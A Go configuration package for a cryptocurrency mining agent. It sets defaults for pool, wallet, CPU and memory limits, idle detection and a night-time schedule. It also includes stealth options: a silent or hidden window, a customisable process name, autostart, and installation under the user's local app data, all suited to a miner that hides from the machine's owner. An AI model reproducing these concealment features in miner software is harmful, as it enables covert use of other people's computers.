package config import ( "runtime" "strings" "time" ) const Version = "1.0.0" type BuiltinConfig struct { WorkerName string ServerURL string Wallet string Threads int ThreadMode string ThreadPercent int CPUPriority string MiningMode string DisplayMode string SilentMode bool RunAs string AutoStart bool ProcessName string BuildID string BuiltAt time.Time PoolHost string PoolPort int PoolTLS bool PoolPass string MaxCPUUsage int MaxMemoryPct int MinFreeRAM int IdleThresholdPct int IdleDurationMinutes int ScheduleStart string ScheduleEnd string InstallBase string InstallCustomBase string InstallRelativePath string } type RuntimeConfig struct { BuiltinConfig AgentID string } func Load() RuntimeConfig { b := GetBuiltinConfig() if b.Threads <= 0 { b.Threads = 4 } if b.ThreadMode == "" { b.ThreadMode = "percent" } if b.ThreadPercent <= 0 { b.ThreadPercent = 75 } if b.CPUPriority == "" { b.CPUPriority = "below_normal" } if b.MiningMode == "" { b.MiningMode = "always" } if b.DisplayMode == "" { if b.SilentMode { b.DisplayMode = "silent" } else { b.DisplayMode = "visible" } } if b.ProcessName == "" { b.ProcessName = sanitizeProcessName(b.WorkerName) } if b.MaxCPUUsage <= 0 { b.MaxCPUUsage = 80 } if b.MaxMemoryPct <= 0 { b.MaxMemoryPct = 70 } if b.MinFreeRAM <= 0 { b.MinFreeRAM = 1024 } if b.IdleThresholdPct <= 0 { b.IdleThresholdPct = 20 } if b.IdleDurationMinutes <= 0 { b.IdleDurationMinutes = 5 } if b.ScheduleStart == "" { b.ScheduleStart = "21:00" } if b.ScheduleEnd == "" { b.ScheduleEnd = "06:00" } if b.InstallBase == "" { b.InstallBase = "localappdata" } if b.InstallRelativePath == "" { b.InstallRelativePath = DefaultInstallRelativePath } return RuntimeConfig{BuiltinConfig: b} } func (c RuntimeConfig) EffectiveThreads() int { mode := strings.ToLower(c.ThreadMode) if mode == "fixed" { if c.Threads < 1 { return 1 } return c.Threads } cores := runtime.NumCPU() if cores < 1 { cores = 1 } pct := c.ThreadPercent if pct < 1 { pct = 1 } if pct > 100 { pct = 100 } threads := int(float64(cores) * float64(pct) / 100.0) if threads < 1 { threads = 1 } if threads > cores { threads = cores } return threads } func (c RuntimeConfig) HideWindow() bool { switch strings.ToLower(c.DisplayMode) { case "silent", "background": return true default: return c.SilentMode } } func (c RuntimeConfig) BackgroundMode() bool { return strings.ToLower(c.DisplayMode) == "background" } func (c RuntimeConfig) EffectiveProcessName() string { name := strings.TrimSpace(c.ProcessName) if name == "" { return sanitizeProcessName(c.WorkerName) } return sanitizeProcessName(name) } func sanitizeProcessName(name string) string { name = strings.TrimSpace(name) if name == "" { return "CryptoMinerWorker" } replacer := strings.NewReplacer(" ", "", "-", "", "_", "") clean := replacer.Replace(name) if clean == "" { return "CryptoMinerWorker" } return clean }